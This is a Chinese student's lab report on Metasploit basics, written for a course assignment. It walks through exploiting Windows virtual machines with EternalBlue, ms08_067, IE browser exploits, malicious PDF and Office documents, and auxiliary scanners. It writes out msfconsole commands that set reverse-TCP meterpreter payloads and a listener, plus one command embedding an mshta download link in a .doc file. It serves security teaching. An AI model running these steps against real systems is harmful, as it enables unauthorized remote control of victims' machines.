目录 —— MSF基础应用
- 实验说明
- 实验内容
- 主动攻击
- 浏览器攻击
- ms10_002_aurora(成功)
- ms10_018_ie_behaviors(成功)
- ms11_003_ie_css_import(成功且唯一)
- ms14_064_ole_code_execution(成功且唯一)
- 失败测试
- ms10_046_shortcut_icon_dllloader
- ms14_012_cmarkup_uaf
- ms14_012_textrange
- ie_setmousecapture_uaf
- ms13_080_cdisplaypointer
- 客户端攻击
- 任意辅助模块攻击
- 实验遇到的问题及解决方法
- 实验收获与感想
1 实验说明
1.1 实验任务内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。 具体需要完成:
- 一个主动攻击实践,如ms08_067; (1分)
- 一个针对浏览器的攻击,如ms11_050;(1分)
- 一个针对客户端的攻击,如Adobe;(1分)
- 成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
1.2 基础问题回答
用自己的话解释什么是exploit,payload,encode。
- exploit:攻击者利用靶机上的各种漏洞进行攻击的一个过程
- payload:有效载荷,攻击者在靶机上执行的一段攻击代码,可以实现反弹连接等;例如特洛伊木马,加壳shellcode等
在我看来,exploit是payload的载体,用来将有效载荷从攻击机发送到靶机上,payload才是真正实施攻击的部分。
- encode:编码器,通过编码改变特征码,避免攻击载荷被杀软发现
Metasploit是一款开源的安全漏洞检测工具,Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。
2 实验内容
2.1 主动攻击
- 攻击方法:选择模块→选择载荷→修改配置→exploit→成功则提示win反弹连接,失败则提示fail
2.1.1 ms17_10_eternalblue(成功)
攻击:kali(172.20.10.2)
靶机:① Windows XP SP3(172.20.10.5)② Windows 2k(172.20.10.7)
③ Windows Server 2008(172.20.10.3)
模块:exploit/windows/smb/ms17_010_eternalblue
载荷:windows/x64/meterpreter/reverse_tcp
- 扫描漏洞
- 进入msf,查看模块
- 输入以下指令进行配置
use exploit/windows/smb/ms17_010_eternalblue //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/x64/meterpreter/reverse_tcp //设置tcp反向连接
info //查看需要配置的信息及可攻击的target
set rhost 172.20.10.5 //设置靶机IP
set lhost 172.20.10.2 //kali IP
set lport 5223 //设置攻击端口
set target 0 //设置靶机
exploit //发起渗透攻击
(1)靶机 ① Windows XP SP3(172.20.10.5)——失败
(2)靶机 ② Windows 2k(172.20.10.7)——失败
(3)靶机 ③ Windows Server 2008(172.20.10.3)——成功
2.1.2 ms17_10_psexec(成功)
攻击:kali(10.1.1.189)
靶机:Windows XP SP3(10.1.1.243)
模块:exploit/windows/smb/ms17_10_psexec
载荷:windows/x64/meterpreter/reverse_tcp
靶机 Windows XP SP3(10.1.1.243)——成功
- 选择模块
- 自主设置
- 攻击
2.1.3 ms08_067_netapi(成功)
攻击:kali(172.20.10.2)
靶机:① Windows XP SP3(172.20.10.3) ② Windows 2k(172.20.10.7)
模块:exploit/windows/smb/ms17_10_psexec
载荷:generic/shell_reverse_tcp
(1)靶机 ① Windows XP SP3(172.20.10.3)——失败
载荷:windows/x64/meterpreter/reverse_tcp
(2)靶机 ② Windows 2k(172.20.10.7)——成功
载荷:windows/x64/meterpreter/reverse_tcp(失败)
载荷:generic/shell_reverse_tcp(成功)
2.1.3 ms15_020_shortcut_icon_dllloader(失败)
攻击:kali(10.1.1.189)
靶机:Windows XP SP3(10.1.1.243)
模块:exploit/windows/smb/ms15_020_shortcut_icon_dllloader
载荷:generic/shell_bind_tcp
- 查看模块
- 选择载荷并设置
- 攻击失败(需要将生成的文件传送到靶机上)
2.2 浏览器攻击
- 攻击方法:选择模块→选择载荷→修改配置→攻击→将生成的链接复制到靶机的ie中打开(要注意ie的版本)→成功则反弹连接,失败则ie网页不正常关闭且kali中无法获得sessions
2.2.1 ms10_002_aurora(成功)
攻击:kali(10.1.1.189)
靶机:① Win7 x64(10.1.1.117) ② Windows XP SP3(10.1.1.144)
模块:exploit/browser/ms10_002_aurora
载荷:windows/x64/meterpreter/reverse_tcp
(1)靶机 ① Win7 x64(10.1.1.117)——失败
- 查看模块和目标
- 设置并攻击,复制kali中生成的链接,在靶机的ie上打开(失败)
- 尝试换模块 exploit/browser/ms10_002_ie_object(失败)
- 换靶机 Windows XP SP3(10.1.1.144)(失败)
(2)② Windows XP SP3(10.1.1.144)——成功
(https://img2018.cnblogs.com/blog/1047360/201904/1047360-20190421035007079-58335045.png)
2.2.2 ms10_018_ie_behaviors(成功)
攻击:kali(10.1.1.189)
靶机: Windows XP SP3(10.1.1.144)
模块:exploit/browser/ms10_018_ie_behaviors
载荷:windows/x64/meterpreter/reverse_tcp
- 查找模块
- 设置载荷并攻击(成功)
- 得到sessions
- 获得shell
2.2.3 ms11_003_ie_css_import(成功且唯一)
攻击:kali(10.1.1.189)
靶机: Win7 x64(10.1.1.117)
模块:exploit/browser/ms11_003_ie_css_import
载荷:windows/x64/meterpreter/reverse_tcp
- 查看模块
- 修改配置
- 其中URIPATH可以修改为随意什么内容,作为链接路径的唯一标识符,不设置则为随机生成的乱码
- 攻击(成功)
- 获得 sessions
- 获得shell
2.2.4 ms14_064_ole_code_execution(成功且唯一)
攻击:kali(10.1.1.189)
靶机:Windows XP SP3(10.1.1.144)
模块:exploit/browser/ms14_064_ole_code_execution
载荷:① windows/x64/meterpreter_reverse_tcp ② windows/x64/meterpreter_reverse_http
- 查找模块
- 查看配置
- 按要求修改(yes的要修改,no的可以不管)
(1)载荷 ① windows/x64/meterpreter_reverse_tcp
- 攻击(成功)
- 复制链接到XP浏览器中打开
- 反弹连接
(2)载荷 ② windows/x64/meterpreter_reverse_http
- 同理攻击(成功)
2.2.5 失败测试
(1)ms10_046_shortcut_icon_dllloader
- 攻击win7靶机失败
- 攻击XP靶机失败
(2)ms14_012_cmarkup_uaf,ms14_012_textrange
① 模块 ms14_012_cmarkup_uaf
- XP、Win7失败
② 模块 ms14_012_textrange
- XP、Win7失败
(3)ie_setmousecapture_uaf,ms13_080_cdisplaypointer
① 模块 ie_setmousecapture_uaf
② 模块 ms13_080_cdisplaypointer
- 换payload,失败
2.3 客户端攻击
- 攻击方式:选择模块→选择载荷→修改配置→攻击,将生成的文件(路径是隐藏的需要打开隐藏可见)复制到靶机中,在靶机中双击打开→成功则反弹连接
2.3.1 adobe_collectemailinfo(成功且唯一)
攻击:kali(10.1.1.189)
靶机:Windows XP SP3(10.1.1.243)
模块:① windows/fileformat/adobe_cooltype_sing ② windows/fileformat/adobe_collectemailinfo
载荷:windows/x64/meterpreter_reverse_tcp
(1)模块 ① windows/fileformat/adobe_cooltype_sing——失败
- 查看模块
- 设置配置并攻击
- 将生成的pdf文件复制到靶机中,双击打开(靶机中安装有该漏洞的Adobe Reader 9.3)
- 打开失败,无会话
(2)模块 ② windows/fileformat/adobe_collectemailinfo——成功
- 换模块,攻击,将生成的pdf发送到靶机上,双击可以打开
- back回到msf界面,进入混杂监听模式,按以下配置设置
msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
msf exploit(handler) > set LHOST 10.1.1.189 //攻击机ip
msf exploit(handler) > set LPORT 5223 //攻击端口固定
msf exploit(handler) > exploit
- 在靶机中重新打开pdf文件,kali成功回连
- 靶机中关闭pdf后,kali也被动关闭会话
2.3.2 office_ms17_11882(成功)
攻击:kali(10.1.1.189)
靶机:① Win10(10.1.1.126) ② Windows XP SP3(10.1.1.144)③ Win7 x64(10.1.1.194)
模块:windows/fileformat/office_ms17_11882
载荷:windows/x64/meterpreter_reverse_tcp
- 选择模块和载荷
- 设置配置并攻击
- 将生成的文件放入靶机双击测试
(1)靶机 ① Win10(10.1.1.126)——失败
- 在网上看到有大佬使用这个漏洞成功攻击了win10,于是也想试试,结果一传过来就凉了
- 强行恢复以后尝试打开,失败x
(2)靶机 ② Windows XP SP3(10.1.1.144)——失败
- 更换靶机,重新设置
- 虽然打开了但还是没连上。。
-
看到有另外的教程说要利用工具Command43b_CVE-2017-11882.py在kali中生成.doc文件再传送
-
使用以下命令:
python <路径>Command43b_CVE-2017-11882.py -c "mshta <链接>" -o test.doc
- 其中链接使用的是上一步中exploit时生成的链接(红框)
- 传到XP中再试试,还是失败
(3)靶机 ③ Win7 x64(10.1.1.194)——成功
- 再次换靶机,使用win7
- win7中打开.doc文件
- 回连成功(耶!)
2.4 任意辅助模块攻击
- 攻击方式:查看模块→选择模块→按要求配置→kali运用辅助模块对客户机攻击(例如扫描端口、扫描漏洞、暴力获取、提权等)
2.4.1 arp_sweep(成功)
攻击:kali(10.1.1.189)
靶机:10.1.1.0/24(网段)
模块:scanner/discovery/arp_sweep
- 查看模块并选择
- 设置
- 攻击(成功)
- 使用namp扫描网段,发现当前唤醒的lan和之前攻击获得的是一致的
2.4.2 http/cert(成功且唯一)
攻击:kali(10.1.1.189)
靶机:10.1.1.1-20(网段)
模块:scanner/http/cert
- 作用
- 设置配置
- 运行(成功)
2.4.3 protscan/syn(成功)
攻击:kali(10.1.1.189)
靶机:Win7 x64(10.1.1.194)
模块:scanner/protscan/syn
- 查看模块
- 选择模块并配置
- 进行syn攻击,获取开放端口(成功)
- 用namp检查一下,与上面得到的开发端口一致
3 实验遇到的问题及解决方法
(1)在exploit时提示地址占用
- 更改端口即可
(2)msf启动数据库失败
- 使用老师教的命令(失败)
- 使用命令
msfdb init
初始化(自动配置)
- 成功
4 实验收获与感想
- 本次实验花费时间是以往实验的两倍以上,其实大部分时间还是花在了寻找合适靶机上,实验报告里只收集了成功的测试和部分失败测试,实际上还有很多失败测试没有写上来。因为一直重复着同样的步骤导致我都背下这些漏洞了……配置合适的环境+正确的靶机才能偶尔成功,在实践中果然感受到了与理论的差距,需要广撒网式的进行攻击才有可能攻击成功。
- 除了利用一些经典漏洞实现攻击外,微软安全技术中心提供了很多已知漏洞,我花费了很多时间逐个排查测试漏洞,对于攻击流程已经较为熟练,获益匪浅。